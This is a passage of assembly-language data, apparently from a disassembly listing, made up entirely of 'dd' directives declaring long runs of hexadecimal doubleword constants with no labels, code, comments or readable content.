		dd 9A4F75AFh, 682D8618h, 7BF47Ah, 321C2BF8h, 0E2003313h
		dd 0A2BC20A1h, 26735B2Fh, 6E9D3h, 0A70DE52Bh, 0A1184275h
		dd 0A0703A4Dh, 55882459h, 230809F7h, 3C6EC0Ah, 937E224Bh
		dd 276ACBD0h, 3645AE07h, 62405147h, 726810CDh, 30123CE1h
		dd 5AAF1400h, 565076E4h, 0C07A3513h, 0E260F00h,	4DE3B2h
		dd 0AF6C975Ch, 0DDABA8FCh, 54E59100h, 0E6EDF703h, 7D579CDh
		dd 6224DFA4h, 0C8FC304Fh, 20053102h, 26CD7E9Bh,	0F4D9EF00h
		dd 0FA2779B3h, 3E11039Eh, 62C2201Ch, 6F93F9D8h,	50A5C02h
		dd 0E060A30Ch, 476829h,	695BAADCh, 0F72DAF1Fh, 0B4C67A1Fh
		dd 0B70F6FC0h, 65057Eh,	2E423D17h, 0C1BDA2B5h, 0E3547D1Eh
		dd 22D12800h, 0D5050Fh,	4E8AB80Ah, 8FAD93CAh, 6FF9018h
		dd 540418h, 2B6A9B5Ch, 36A2F651h, 0C968C000h, 0F90ACBA9h
		dd 68E0046h, 4193DD4Eh,	2E28DC9Ah, 0E60084C1h, 68125F7Eh
		dd 0F9F466h, 0AAE03C4Ch, 76CF9548h, 541CD007h, 0B6378DB9h
		dd 553213D0h, 0F22803EBh, 4A83B837h, 8A7678E8h,	21E7B61Eh
		dd 4D6B803Ch, 43BEE51Bh, 0CB180051h, 5D2219F7h,	840E9B0Ah
		dd 0A0FE152Ah, 0C67848B1h, 0BB311C68h, 8087013Bh, 50F4C903h
		dd 1B479ED4h, 2A053079h, 35BCA12Eh, 0F5118403h,	758DF095h
		dd 0CEB448FCh, 0AD799300h, 0AB853F96h, 2C231D12h, 39259C00h
		dd 1202D14h, 0F6BE57E5h, 60FE6EAFh, 1D7B6CA6h, 9E52F500h
		dd 42E1B993h, 37B600D2h, 3DCC558h, 4C030156h, 0EFC37947h
		dd 9E1DB007h, 0F4EC033Dh, 0E55E4367h, 4225DF0h,	0A70C0ECh
		dd 0B97FDC01h, 0C1C385A8h, 180D2730h, 205C8BDEh, 0CF00703Ch
		dd 0F3D73469h, 0F6E4A7h
		dd 0C5DEE3F1h, 705442A8h, 8163F83Fh, 0AD33C091h, 0D140A15Eh
		dd 0B3BFD22h, 0CD160D73h, 0A088E000h, 5C0049CBh, 0C0229758h
		dd 7726ED3h, 4B348665h,	98A0CE6Fh, 0C8AEA2Fh, 3977E80Ah
		dd 0CA078C60h, 0E160B8FCh, 3F3F4416h, 8C87F81Eh, 526F6352h
		dd 5044B0FEh, 0FD0C7D05h, 0ADC062B4h, 0E31034h,	9E47D41Dh
		dd 53144FB9h, 66B40401h, 9499DC6h, 2A50AC47h, 0E0D867h
		dd 851F4BA4h, 6B2F3555h, 82D57407h, 0C51E3ABh, 7DB707Ah
		dd 0D49A5BF1h, 2A5C90F5h, 0EA77FAE8h, 0BF74480Eh, 1F0B0E32h
		dd 2FE3D480h, 178B725h,	618F8A6h, 0F0A2CD6Dh, 0A10A037Eh
		dd 99F7C495h, 0F079010Ch, 11EB3E02h, 71998D8Fh,	0EFB53081h
		dd 46BF70A0h, 0FFD57C00h, 0F8F9B952h, 31940087h, 3CCC60ABh
		dd 6B4CA215h, 0F02D0078h, 0B1BB61E2h, 0AA410075h, 0BDD207E0h
		dd 0C4900A3Eh, 21C6DE07h, 784072CFh, 0BDDC3E9h,	0D9E1C519h
		dd 69E4CF00h, 3AEC55F0h, 0A5723D00h, 7A7B13D6h,	4902099Dh
		dd 94005E35h, 0E3DC9361h, 0BA79A212h, 0CE915440h, 5EE6E9Bh
		dd 224EB9E2h, 1AA8006Bh, 0FCF60665h, 4574FA01h,	0D5402821h
		dd 0FE8D9300h, 47484C00h, 53181CC2h, 0AFB1002Dh, 83A86BA7h
		dd 800EEABh, 0E7DEF438h, 7134930h, 6B176781h, 3BA0CE0Fh
		dd 2E2DCCC8h, 19558B11h, 589DAA04h, 0E85330A0h,	0B74E00F0h
		dd 0FF7D43F7h, 5C0039D6h, 0C9C3F6D9h, 2ACD59Fh,	0CBBF0DE4h
		dd 0F68F7FECh, 7C31A8F8h, 135BA200h, 56A81FE3h,	6BF89DEFh
		dd 6B7DF0A0h, 190FCD7Bh, 0C0306C0Fh, 0D910521Bh, 4505017Fh
		dd 0B357DB5Fh, 0AB7BE8F4h, 450458h, 87C9A3CAh, 14AD02Ah
		dd 1901930Eh, 40BA85AFh, 0C77E52A8h, 0CC88A801h, 562C82DEh
		dd 0B946D0h, 0FC7C647Bh, 0E4601535h, 3B00C970h,	9CA9EFF9h
		dd 1DD84499h, 4074380Bh, 35F575D7h, 0FD067F20h,	0E5FBDDC0h
		dd 1DA100A9h, 0F3767179h, 4560560Bh, 0F9BC988Ch, 3563009Ch
		dd 0AA5A09FEh, 0AD2CDA95h, 123EF967h, 5000FA22h, 0DE1DF0F6h
		dd 0EA2E4CEBh, 0B0403B0Bh, 7A10E838h, 59C14F00h, 26D0DB35h
		dd 4C790123h, 3EDA9877h, 7DB040DFh, 0B90006C3h,	0E1AFD917h
		dd 2677AC0Dh, 0AC530Fh,	0F0AB0326h, 5207B063h, 32B5A31Eh
		dd 6E36F720h, 71C9005Bh, 0CFEBE5C2h, 0CB391FDBh, 321080D7h
		dd 0A8DCC74h, 7A4C0036h, 0E378B9ACh, 0F6005543h, 1134DEDCh
		dd 0F29ED7h, 13159CB2h,	6989E956h, 7AFFD201h, 831625C4h
		dd 78E811E1h, 4FC21D3Dh, 7EEBC02Bh, 29729FAAh, 0F47CCA00h
		dd 0DF0F594Ah, 973C001Ch, 0B648B52Bh, 0D003055h, 0E3CB69A2h
		dd 0AFB814h, 62EC3C0h, 5CF6CF42h, 43001078h, 522AB094h
		dd 5CE2A87Dh, 0B6008018h, 8E137366h, 0B203984Fh, 0B9ED153Ah
		dd 0AA0E0BDh, 0F52D0142h, 0D0CB3DFDh, 0B61C2092h, 0BDC82000h
		dd 5945D686h, 573C0075h, 40119C73h, 2BE0A6A3h, 0C3AAE00h
		dd 3FE0DF97h, 13160ED3h, 40006FAh, 0E910CFC9h, 3472CE0Ch
		dd 15DDB09Ah, 0D82FAE1Bh, 1980A63Eh, 60057A3Ch,	0AC9259B3h
		dd 6A45520Fh, 0A0E749FAh, 0A9D176DCh, 5D70FACh,	74216DCEh
		dd 0F05F34C2h, 0C8ECCFF2h, 44FABE00h, 0C0831A14h, 1C86F42Ah
		dd 808BFDh, 7055B0A3h, 4900DC6Ah, 4DDEBEECh, 6F0F8Eh, 0C18A4752h
		dd 0D390A344h, 2386C4Ch, 0BD7BC638h, 0E0D1009Fh, 0DA41CB0Ah
		dd 1E35BAF0h, 0C07C1056h, 5B0B1AC9h, 0DE4994ADh, 0D0231C70h
		dd 48C0038h, 5AC19864h,	382E787Dh, 9F050292h, 80B28066h
		dd 6E1D87D7h, 22048094h, 38D050CBh, 4D66EA5Ah, 510018FAh
		dd 4CFC82F3h, 0EFF0636Eh, 3CD17C00h, 56120749h,	0E87AD3h
		dd 68068CCCh, 7B4E18DDh, 52800800h, 6E47EE79h, 718F00F0h
		dd 0EDAF1C86h, 60F7BFFEh, 1F12FA74h, 0AC05C7F9h, 0D400EFA1h
		dd 279D4C91h, 0B9DCA097h, 51460008h, 0D65B176Ah, 3058DEDDh
		dd 0F1040791h, 803B694Ah, 6A2237E6h, 6858D2h, 9A5A0076h
		dd 0AF9DF9Eh, 7E12A91Bh, 3018BBB5h, 7E8E48EAh, 0E45D00ABh
		dd 2030CD42h, 0CA004EB4h, 6287D73Ch, 6636C7h, 0FEB52843h
		dd 0DC2A40ECh, 0F969A501h, 0AA3F573Dh, 80B2A080h, 897A42D8h
		dd 0C416A801h, 0D6AF6D13h, 0E672BDCh, 32FF389Eh, 0ADAA8DC0h
		dd 7F7117D2h, 2959980Fh, 0FF3E8036h, 5872F1FEh,	65393C7Ah
		dd 0DD32A8E1h, 9084247Eh, 7BB2A300h, 0B59BBCA7h, 27250040h
		dd 57CDDD01h, 0D8037F33h, 0A57547A2h, 0D5A6983Dh, 0ADF403DBh
		dd 5F0C96B5h, 72B1F7F0h, 0D0082507h, 20DF02C5h,	0FDEE5EE6h
		dd 0C0BCA0D3h, 711A0707h, 0F0C1CA6h, 58470AE0h,	40132487h
		dd 0C007E235h, 0FAD046C5h, 24DA1957h, 19414A7h,	9398A3A0h
		dd 999C24D7h, 5AF370Ah,	5100D4D9h, 0F447136Eh, 201B60B9h
		dd 0C7B3D04Ah, 0A87A7324h, 0C1762Dh, 0CC7E7C32h, 63000AFEh
		dd 0F8606B72h, 7DF0903h, 619EFFC3h, 0C66DF096h,	0E50EA50Ah
		dd 0C118A80Eh, 7AD535C4h, 0F5E430h, 1EB8C326h, 2998B0Bh
		dd 5214E17Bh, 0E8493Dh,	0A1A7481Ah, 469AB36h, 0E78857BFh
		dd 0FBDA04A4h, 0C0BADB85h, 0BECEE20h, 0FEC74A00h, 479F1C40h
		dd 74E74C91h, 0C2FB0073h, 97540FFAh, 1C00B643h,	0FE94538Eh
		dd 0E919F6h, 4D71315Eh,	0AAE51A3Ch, 0E87C042Bh,	0ED80EE9Eh
		dd 8F654CAEh, 3D4A90DDh, 0D200F4D1h, 0C6C8324Fh, 861494B0h
		dd 24E0F10Dh, 0DD823CFBh, 0A4C7AE56h, 98CD87DCh, 1F2A5830h
		dd 404EA379h, 0C7D125D3h, 5B00052Eh, 9F47724h, 5CFEB3h
		dd 2B305335h, 4F069DD0h, 758C563h, 20CAD866h, 8C9B4D8Bh
		dd 0BBF2F100h, 7FFBE0D0h, 94665900h, 0DBC43D0Ah, 231D61Ch
		dd 17E98567h, 761AF080h, 59008A65h, 6C256854h, 7578FEh
		dd 1C4E840Dh, 1855F716h, 0F48C481Ch, 0F062A740h, 840E1Bh
		dd 946EA498h, 4666EB38h, 140F58h, 8EFD364h, 11686E6h, 0B1725D58h
		dd 2002CCF7h, 18D62A98h, 21401Eh, 952BB4B9h, 0B601D305h
		dd 0EDE92EAAh, 0AC0C6AFh, 0A95100B0h, 4B54E31Eh, 2D00D2A4h
		dd 0D507731h, 0D30B07h,	0C4A736F2h, 0E18BFC90h,	4500217Eh
		dd 4FEEB08Ah, 0C038E8h,	985BCC1Dh, 55044389h, 0A4F5D414h
		dd 318103CCh, 886B0286h, 0E4214193h, 8D9000E3h,	852EE8C8h
		dd 0B200B487h, 2691FD19h, 5D24FFh, 0EBF2B861h, 0B58C1A4Fh
		dd 60D34E00h, 1745CEE6h, 0A631E24h, 0EAC89EA1h,	786A1CBCh
		dd 0D55B006Bh, 0E1C226A9h, 0E6CDC01h, 9C0FC363h, 0A66AC4h
		dd 8CCFF415h, 96C5AAA3h, 29FFE500h, 90563DB6h, 0F1E23FD2h
		dd 0A3374E80h, 0C9F55295h, 33E0F202h, 4090132Ah, 0E34273Ch
		dd 0F605A7C2h, 0B4C7E400h, 0AA005BD4h, 0B8E26FA2h, 0D2391Ch
		dd 97C09419h, 285E9C5Ch, 0B37D2000h, 1C57F9B5h,	90400036h
		dd 9C5A3738h, 9307596Dh, 0C47954EDh, 0C760A3E7h, 7BF55C68h
		dd 0D30C0BAh, 0F914A4D1h, 9094C400h, 0E256FB04h, 98F5FEF4h
		dd 96E17D4Ch, 6C9C8004h, 6481565Eh, 51061707h, 638068C6h
		dd 1E211E70h, 42D1FB89h, 319CCA87h, 0D0F17341h,	6A00E518h
		dd 53F49146h, 0C0DA9Bh,	1F2D5EA8h, 0B36264AEh, 0FD29F200h
		dd 383AA64Dh, 7942055Dh, 0C08E97A0h, 590F2F69h,	5AF7DA00h
		dd 0D201BDC3h, 0F1FC0091h, 0D6FDA0EBh, 5300F668h, 8C9E7E33h
		dd 4D875Eh, 1DAD1BDFh, 9BB82061h, 99075401h, 51D45A17h
		dd 160660ACh, 8C460067h, 4569D2F8h, 30ABF200h, 5F893E80h
		dd 0B0B60298h, 0C6CE3C20h, 0C0AD63C3h, 3F12285h, 90773B00h
		dd 2513C05Ah, 0CD271D0Fh, 0C25C71h, 0D866B9A9h,	0D7EC2987h
		dd 0E5072C90h, 5BFB1054h, 5EC0A0ABh, 1C0A3667h,	808E4324h
		dd 0BE782AA0h, 0D800C66Fh, 634975BCh, 1CB5C1A1h, 0C2A813DDh
		dd 204D666Eh, 85D72CE0h, 0D5FA5Ch, 0B5052A02h, 9C24C563h
		dd 20DF4000h, 0F37B732Fh, 8BBAC200h, 4A95D16Ah,	1D67B21h
		dd 745CB855h, 0DDEB968Fh, 0F94701C5h, 0D66DC810h, 0F00B40B2h
		dd 168AD4Dh, 4F3B222Dh,	0BBE26430h, 0D99E806Ch,	23A02AA1h
		dd 0B5565D0Bh, 2280F5EEh, 0C6BDD324h, 9200A09Ah, 3628EDDAh
		dd 0E42FF5Dh, 0ACC701A2h, 60F39FA7h, 0A30953D8h, 9E08321Dh
		dd 0A1A9F08Fh, 0C6D620C4h, 70D834h, 746E404Bh, 10E7E2C2h
		dd 46491D0Eh, 366A60C1h, 0B364A4h, 56E0A12Fh, 214F5D7h
		dd 0B2591900h, 2A573807h, 87BD0062h, 6A374BA5h,	0AFF4232Fh
		dd 864F5C03h, 1188AAh, 0DA3EA640h, 0E3325189h, 86F5D00h
		dd 53FC7648h, 29F92662h, 33308494h, 77C701E3h, 1FE46408h
		dd 0FD9C0757h, 10F7B60Dh, 0E39A9128h, 70E00107h, 50022C0Ah
		dd 0A0D8C33Fh, 0F5DA47h, 0F1A083E7h, 58291A46h,	84A96B00h
		dd 1650EE69h, 37DC00ECh, 7BD4CA2Fh, 0B44BE54Fh,	6AAD1040h
		dd 574E7CFh, 774841A4h,	936887DCh, 0BFA0C32Fh, 0BB00E1F3h
		dd 14C5BE4Fh, 7CE5020h,	6C160ED3h, 0F10220A0h, 0BB0E04E2h
		dd 7D5A4CBh, 1DE0BECFh,	4C41FC6Dh, 89135AD9h, 0C6CCC0ADh
		dd 0CEE47CA0h, 13599212h, 3A50C4Bh, 98EB0E03h, 6999BCh
		dd 39113598h, 6D378B14h, 92F34B00h, 8EF156E9h, 0CCF0019Bh
		dd 97137E85h, 0BB41F067h, 0C08BF71Ch, 5C0A6100h, 0D99A82h
		dd 46B23CFFh, 792B811Eh, 12DFE402h, 0C02C01D1h,	985F54CBh
		dd 17622F54h, 20C27FE1h, 4A00F534h, 0E7CBAA64h,	0E51B9Ch
		dd 1C7E787Ch, 9D19F3A8h, 7C6DA326h, 0E4439109h,	0B7ED0214h
		dd 107E163Dh, 54DA8442h, 80A8D43Eh, 0FC0AE7D5h,	2576FAAh
		dd 273F1CC1h, 1C40B1D9h, 6094283Dh, 0CEE30700h,	0C77D7675h
		dd 6083A0A0h, 0BB36FD14h, 0B608F003h, 0D831B794h, 0B8E33B6Ah
		dd 3FCE01ACh, 0D6EDCFCAh, 0F393C07Fh, 6501E2B0h, 4D2A69AEh
		dd 0F0409BB5h, 94260EC3h, 0B7FC0094h, 723623BDh, 8033133Ah
		dd 8FBCA49h, 469F1Dh, 2F10CF17h, 0F51AD33Ah, 9D5E0D1Fh
		dd 2B9D401Eh, 0BFE95DDh, 34EF1ABh, 0B84556FCh, 0B59BBDh
		dd 4D785E48h, 0CD22DEC4h, 3F5CF45Ch, 8B1B0B9Ah,	9C80653Ch
		dd 0FD1E0086h, 4996E4Ch, 0F1593407h, 84B3EAC7h,	58F4B0A9h
		dd 7B8F00A5h, 0F7B5274Ah, 690BD066h, 8101AFE7h,	6773116Ch
		dd 0E97CE8h, 0BCB0C5D3h, 0DCF14650h, 267AAA00h,	0C4A1216Bh
		dd 9D4900DDh, 65E103ACh, 0A300BC77h, 1C615A16h,	0C33D56h
		dd 454BDECAh, 511D1EC0h, 721F1700h, 0C1BB34B5h,	0C3740330h
		dd 8BCAE619h, 7AF087BBh, 5000DFAFh, 9B7653C0h, 0A8D7543Eh
		dd 7E0A03BCh, 18B946h, 0AF661DBBh, 1003B84h, 6E472810h
		dd 7734C92h, 98F3C8F8h,	4557B0F5h, 0BB008532h, 18FBFAE5h
		dd 600CF0h, 0B4866F03h,	167CDA64h, 61C85516h, 5E712718h
		dd 4EF50330h, 0A7D4BA63h, 0C4C012CBh, 7A0954C1h, 0A0E55C85h
		dd 8D6B91E4h, 0CD2A07D9h, 0AE18C1C7h, 941F0E80h, 0A54D9E5Eh
		dd 8C101DA4h, 808F30B7h, 261C8A81h, 688560C9h, 4AF2AD20h
		dd 0A710FF0Fh, 1140610Bh, 3CD0A826h, 0E22900D8h, 41B6D109h
		dd 0D9608C62h, 0D48A54A9h, 385F07Ah, 325F12F4h,	600E29F5h
		dd 40D22267h, 10C7C516h, 81A460B5h, 138AE9B6h, 50995E28h
		dd 70AD3800h, 13F2364h,	9280439h, 80ABF3C6h, 57366D85h
		dd 9E023004h, 0C0FFEE55h, 8A47CDA5h, 0B05E660Bh, 89B78040h
		dd 7FC642E1h, 50A71E31h, 83940087h, 7EABBB16h, 965FA400h
		dd 49A2B0D7h, 0FBA7841h, 5BFE78F1h, 9C852DE9h, 9DB31DDEh
		dd 0ABF541B6h, 210EC01Ah, 0A01C24C9h, 429F1200h, 0ABA61C7Ah
		dd 8E46561h, 2BC845DCh,	5600AE10h, 5DCFD24Eh, 66030FD7h
		dd 0FA402204h, 289AC1D8h, 60DEE1FEh, 91DA1D86h,	240A4668h
		dd 7A0AE516h, 0B544343Ch, 9F142F43h, 55AFF4B0h,	0F8A4A854h
		dd 0BE353Ah, 5B67E6F9h,	55CBD1FDh, 4FF0D8DBh, 0B27118C5h
		dd 2EF111ABh, 1801A07Dh, 10D9C445h, 95D1C535h, 1B6B2180h
		dd 0BF93AAA3h, 7562B705h, 8C3EC60Ah, 203A9200h,	0E9EDD78Ch
		dd 0C780FE01h, 0FD7DF32Ah, 5209C8h, 0A2ABD828h,	9035D03Dh
		dd 543080E9h, 305E9E5h,	0ABB61D17h, 91B20109h, 0E0445D9Fh
		dd 8B38ECCAh, 30DA80E8h, 0FF023D11h, 5E50B022h,	73FEBC4Dh
		dd 5CCFF901h, 40A92FF5h, 1F9C83D6h, 627480A1h, 1A0F42Eh
		dd 0D3ACC801h, 60F1C1F8h, 30007B8h, 84B6F3B4h, 5BF03Eh
		dd 1B8F5694h, 85EB1D9Eh, 25324A00h, 0C9A08696h,	0B426008Bh
		dd 7FF10156h, 470FDC6Bh, 0E0E56F20h, 0DE6A15BEh, 0E4C70778h
		dd 0E0AC535Eh, 97A7099h, 80178E38h, 0A429D7F8h,	0D6C3CEh
		dd 9A84DF91h, 7BCBEE59h, 93AB5B00h, 9BE1BF8Fh, 82D000A2h
		dd 0CCB616AEh, 0C3002076h, 87F8F199h, 0E86C051Bh, 0E9240129h
		dd 0F2340AD7h, 0A359E889h, 56A68800h, 9DF9329Bh, 0DD573DCEh
		dd 0AF00F14Ch, 1BEEA52Bh, 0B0488408h, 0EA761F62h, 55DC0F9Dh
		dd 80A52ACEh, 0D2938537h, 0A473DEh, 1D67F0B2h, 0DCE7A3C1h
		dd 182EB400h, 383AA29Dh, 7AED1A0Ah, 415D15Ah, 6C538077h
		dd 0E028A748h, 247B452Bh, 608DCE50h, 0DCE210ACh, 130089A3h
		dd 5FE3277Eh, 0EC479BBh, 0CEEE2D16h, 28E8A9E6h,	42BF7722h
		dd 3F7C212Bh, 0C4763A42h, 0AA22841Fh, 11934215h, 6321A77Eh
		dd 8810F008h, 5988ACD7h, 847790A8h, 0B4A1E3Dh, 32082428h
		dd 0D0107B29h, 80F8911h, 0AF78A17Fh, 2A444808h,	60108423h
		dd 0B3108F51h, 9F280BDDh, 0A878026Eh, 4FDDC042h, 380BD4Ah
		dd 7F871510h, 266D0805h, 0C1EBDBC1h, 0D73772D3h, 0E91886B8h
		dd 0FD8CE100h, 7F238982h, 77A1011Dh, 8AB164EEh,	0A7CED827h
		dd 1BA4E000h, 71FDCFE1h, 0DFE483h, 994940A0h, 0EC86BE58h
		dd 82B3D200h, 0D362B0E1h, 261600BAh, 956F82Dh, 0D7164DDh
		dd 4574A60Ch, 8310F6h, 9912E297h, 5558D1A8h, 9C54C701h
		dd 1C7CF35Dh, 38156C8h,	0E7195249h, 809DCC2Fh, 3B593AC8h
		dd 3CBDD4Ch, 5E29F617h,	2490C4B1h, 348395Fh, 77A00E2Eh
		dd 0B8D8E6E5h, 6500CC32h, 0BC64DC69h, 1878D8CDh, 20E78637h
		dd 8574FD60h, 0AB34A326h, 47659906h, 0E4C30068h, 0D6FB06ADh
		dd 3B7290DBh, 8C500F81h, 0E0114C6h, 71408117h, 20EDFFE0h
		dd 0D028FCDFh, 0FD00E246h, 2425DCEEh, 1B7B3Fh, 829AA330h
		dd 0EC2AF84Fh, 96DD100Bh, 0A3A12FCBh, 839DE424h, 906588B7h
		dd 6CD328E2h, 179400B8h, 0D9176A3h, 0C4076F8Dh,	1213AB93h
		dd 30371AD0h, 26F900B6h, 0D36A6B5Fh, 8A1DD0B8h,	0C100EAEBh
		dd 70753A09h, 334617C5h, 0F03C00DFh, 0A8A70C38h, 14E563Eh
		dd 0CAAFD441h, 0C421CD1Ch, 1E27C7CCh, 0C037A63Bh, 0E116ABC0h
		dd 33D84E9h, 48680B94h,	1960808Ch, 7C93F45h, 0ADC69D3Bh
		dd 53DC009Eh, 890034F7h, 18CEA79h, 72DEE8E4h, 74C00C6h
		dd 33CAFBDFh, 2BFA921Fh, 8A4D2605h, 6EC0DB9Fh, 3EDAB4BAh
		dd 0A0E02F2Ah, 0F9523C41h, 88BB3B01h, 735AE491h, 90D6CCh
		dd 8BADEA6Ch, 0E33CE1A7h, 72419907h, 78E0DEDFh,	0C14A7669h
		dd 259E5811h, 7BC0EE17h, 0E603AC6Ah, 0C3AF11Dh,	0C49FEB59h
		dd 0D8F92880h, 4FC780DEh
		dd 98B77A00h, 0DF4C919Bh, 0F6CC3F5Ch, 4FD8949Ch, 0F207225Fh
		dd 9031776Fh, 0CEECE772h, 33455E02h, 8073D351h,	4A06BAC8h
		dd 2C551299h, 0F4440166h, 0F80F8691h, 101765B4h, 0F2003E14h
		dd 2EFDA731h, 0B6D01CA6h, 12734EC6h, 41D092DBh,	89001557h
		dd 7838E4E2h, 40CF04h, 817C60BAh, 8A866883h, 704E1612h
		dd 23BB0800h, 775475C4h, 49A11FCAh, 0A6AF0F58h,	57BE1360h
		dd 8100C72Fh, 8BFF7F62h, 0E7F7CB14h, 9F115DCh, 4ED0B25Fh
		dd 4120D08Eh, 317AC0B3h, 6F58700h, 28EC811Fh, 0B1E5000Ch
		dd 0A6BDEFC5h, 3002293h, 0FBB897FDh, 9BB2F8h, 7F19995Eh
		dd 5620B0B7h, 0B935EF04h, 0C0808549h, 1D58E0h, 9E98694Eh
		dd 0FD4AAC8Ah, 81DEF73Eh, 5AB52D36h, 0D9F15DC2h, 13BFBC20h
		dd 0F3AB321h, 0E1A05C44h, 248D9069h, 5800F7F6h,	75286DFCh
		dd 60E3F10Eh, 0ACEC2840h, 0E70E2F32h, 8029EF81h, 0A19A759h
		dd 6773BDh, 0FF541A0Dh,	4FC12115h, 278998C0h, 382E7FA0h
		dd 9823BADh, 6C5960AFh,	0E1D7E080h, 6F01FB25h, 12E990E2h
		dd 9C20BAE8h, 9F8B00A5h, 0C3327387h, 94006466h,	0A4376368h
		dd 2261FB4h, 74C7CF7Bh,	0EC84FCC8h, 2FC881A9h, 0E7880F4h
		dd 0AAE39784h, 63B8A1CFh, 8EB77080h, 0E9CE5B42h, 4011F280h
		dd 8A4545D7h, 90566FE4h, 49DE0038h, 8662D67Eh, 8C18FEF4h
		dd 0C6485272h, 0C7BF24Ch, 2F12B2C4h, 51074580h,	461BA2F2h
		dd 0AD9D5E90h, 0E66337C7h, 0BF9BA790h, 0EA71128Ch, 17B3F301h
		dd 3BA7D659h, 32AB834h,	8A87DD0Ch, 80AC7065h, 150AE0F4h
		dd 4F002C7Ah, 6BA8D358h, 0CB2D973h, 8FE393FDh, 0BB00C960h
		dd 56F0ED33h, 0B755F1h,	190BE428h, 915AE9B5h, 0CADA0303h
		dd 0C5A6A558h, 2747E81Dh, 7F10FBD3h, 3EC539Fh, 0E19C3907h
		dd 2D90C134h, 6700A75Ah, 56639927h, 0E2A3ACh, 98073CF2h
		dd 738D64EBh, 24AB83Fh,	0B6BCDA1h, 4141421Ah, 0CCC0C6F0h
		dd 30C500F1h, 2CFCD1B8h, 0E7FC942h, 63AE6F00h, 0CD98B61Ah
		dd 0E6730004h, 0E315BED5h, 0C4EE560Ch, 7C781B00h, 641102ACh
		dd 81741Eh, 0FC6A5122h,	0FEEEC632h, 0B6C87260h,	99926B9h
		dd 0F26F0C40h, 705D2C87h, 0A74561B0h, 38214830h, 98B695C2h
		dd 0C073148Ah, 68009C94h, 5B743729h, 0A30F3331h, 0C0DC836Ah
		dd 0B267AAD7h, 0B44F3C38h, 4062849Dh, 375CF60h,	0AF00E18Fh
		dd 0D2E8362Bh, 0EF41F8h, 0AE6886B3h, 214EE06Ah,	1F90E8E3h
		dd 473DB87Ah, 221987BCh, 7B90EB23h, 0B6DBF5h, 0C185D4Ah
		dd 9242514Dh, 5AA43002h, 0E0EBEC16h, 759734h, 0BCC8BA28h
		dd 9DBD0E09h, 80A5A603h, 0F8989EE6h, 1C0D5AA1h,	0C0C8E79Fh
		dd 3228AABAh, 50E2388h,	0A17E8626h, 0BF011FD8h,	3FD9A7C0h
		dd 44839FF9h, 98DE4D22h, 88E6C788h, 92D0AC00h, 0DBF8E452h
		dd 1BC50043h, 23DD3DF1h, 2A00E8DFh, 7FF6E3C9h, 0D7FEECh
		dd 0B2850C45h, 0ABB4175Ch, 26B6F40Eh, 9F3AC074h, 7E9583Dh
		dd 6D95699Ah, 0A08057B3h, 25F4C43Ch, 0AD8340Eh,	0B654206Fh
		dd 18F98392h, 10672D27h, 0F0004F5Ah, 0DB0B211Ah, 443EA5h
		dd 0A4AFE92Ah, 0A0B83A70h, 7CA94658h, 0AB54CF0Eh, 277EE0A1h
		dd 6D852Eh, 7943353Ah, 4119E3Bh, 393F9F30h, 0B15A03h, 7CDD5718h
		dd 76228799h, 0DA65100Bh, 0EAE58046h, 978E33h, 7431C7D1h
		dd 0FB6D370Ch, 89C6F303h, 0E8AF6E14h, 79F5B8Ch,	696F8F49h
		dd 37211030h, 8900946Ch, 8AC3B6A9h, 3EFD7953h, 0E880E9C4h
		dd 27E73DD7h, 8D1D51E4h, 0B70044EBh, 15093201h,	0FFF71F7Ch
		dd 3FFEC0BDh, 0FA9055C3h, 0E700F377h, 0CAA39FC5h, 99E111h
		dd 624A1615h, 0AAA31F2h, 95F3F0F5h, 7E4BF900h, 7C7F6C6Eh
		dd 9310C096h, 2C7282BEh, 0B3667100h, 527D1CABh,	0A40F0041h
		dd 9D34C8EEh, 1E00050Dh, 918D7523h, 19062DDh, 514F6E37h
		dd 80D3F81Ah, 0ADAFDAE6h, 3ABE0C1h, 0B255DD0Fh,	87EBB9DFh
		dd 66DC32B0h, 8BB8B502h, 0E01F6D74h, 75B0ECAh, 0AE44225Ch
		dd 0BE806F18h, 5D7EAFF7h, 81A7FF00h, 0AB91CA68h, 0E9BD0012h
		dd 0C389F84Bh, 533FCE5Fh, 3307FAB3h, 39358593h,	960000E9h
		dd 0E7D7137Bh, 3C06E840h, 0E6E1B8A2h, 6078002Ch, 99BDEECh
		dd 8E009859h, 0C7491850h, 2EC037h, 0EDF665F5h, 475C0CB9h
		dd 3E244A2Eh, 699B2D00h, 48A96F4Bh, 4612D639h, 0C0901E40h
		dd 14F58659h, 7E00A330h, 0B828647Ah, 0C3C29244h, 0ABB66E2Ah
		dd 5F39DFF8h, 0F304A200h, 45FD368Fh, 6C1900B4h,	0A4D031D7h
		dd 0DFF609BFh, 0F61B8D00h, 629CD63Ch, 68C100FFh, 48B4A1B7h
		dd 6B005D85h, 54BE8FFCh, 38E4EFF9h, 0FA089Bh, 71FEB2F6h
		dd 58E12103h, 1D2CC3Ah,	6EE719BAh, 7170B487h, 0C938037Bh
		dd 0C2579BF8h, 0FCE433C0h, 0AEB1E701h, 3B0397DBh, 716B0D8h
		dd 8F58AAFDh, 328CC352h, 0A3D13DB8h, 77D4B39h, 2F6C5E1h
		dd 0DB8342B0h, 31CE282Ah, 0D37E0098h, 0E380E8E5h, 6100C981h
		dd 96A2DB14h, 5CA9F827h, 8701D2ABh, 0E60CC765h,	0C534F40Dh
		dd 0CFAE7100h, 15B9C3AAh, 4BA7E9Ch, 2B2C1EBDh, 44FC807Fh
		dd 9878B3CCh, 0AC473C26h, 26C36A30h, 0C78200DEh, 1FD676AAh
		dd 0F10065D1h, 8CBFBB2Ah, 0CF96931h, 0AAE9D04h,	0FC0776CCh
		dd 474D368Bh, 0DC565030h, 0E3FE0110h, 0FB6572Dh, 329060FDh
		dd 227116F0h, 20E1CCEDh, 7DCB3E00h, 0BD86B4F0h,	0FD062895h
		dd 3D0C0EFh, 0F118686Ch, 57079609h, 5C0480B8h, 88F47Bh
		dd 0C2E467Ah, 2D9C7CD3h, 0D863D900h, 44A3AD67h,	0F5EB12E0h
		dd 0CC884E91h, 0DBD39060h, 0C7008F2Ch, 2363CB87h, 5DE909h
		dd 353B1008h, 0F3CECD80h, 0FCC4DB00h, 97D1C7F9h, 0D2C13C8h
		dd 175B007Eh, 98F26905h, 3882E49h, 183BB58Eh, 0A191F022h
		dd 187160B1h, 0EE855F87h, 15D17801h, 0C7C09A89h, 1CFBA020h
		dd 40A2B039h, 3C238DF0h, 280098C8h, 496A22D5h, 1ED386FBh
		dd 0E8B1437Eh, 0F0D24CD8h, 0A570AB00h, 11CC3EA3h, 0BCDA7314h
		dd 0A63200B7h, 624C5AB7h, 16700031h, 0C82A4D23h, 420B837Ch
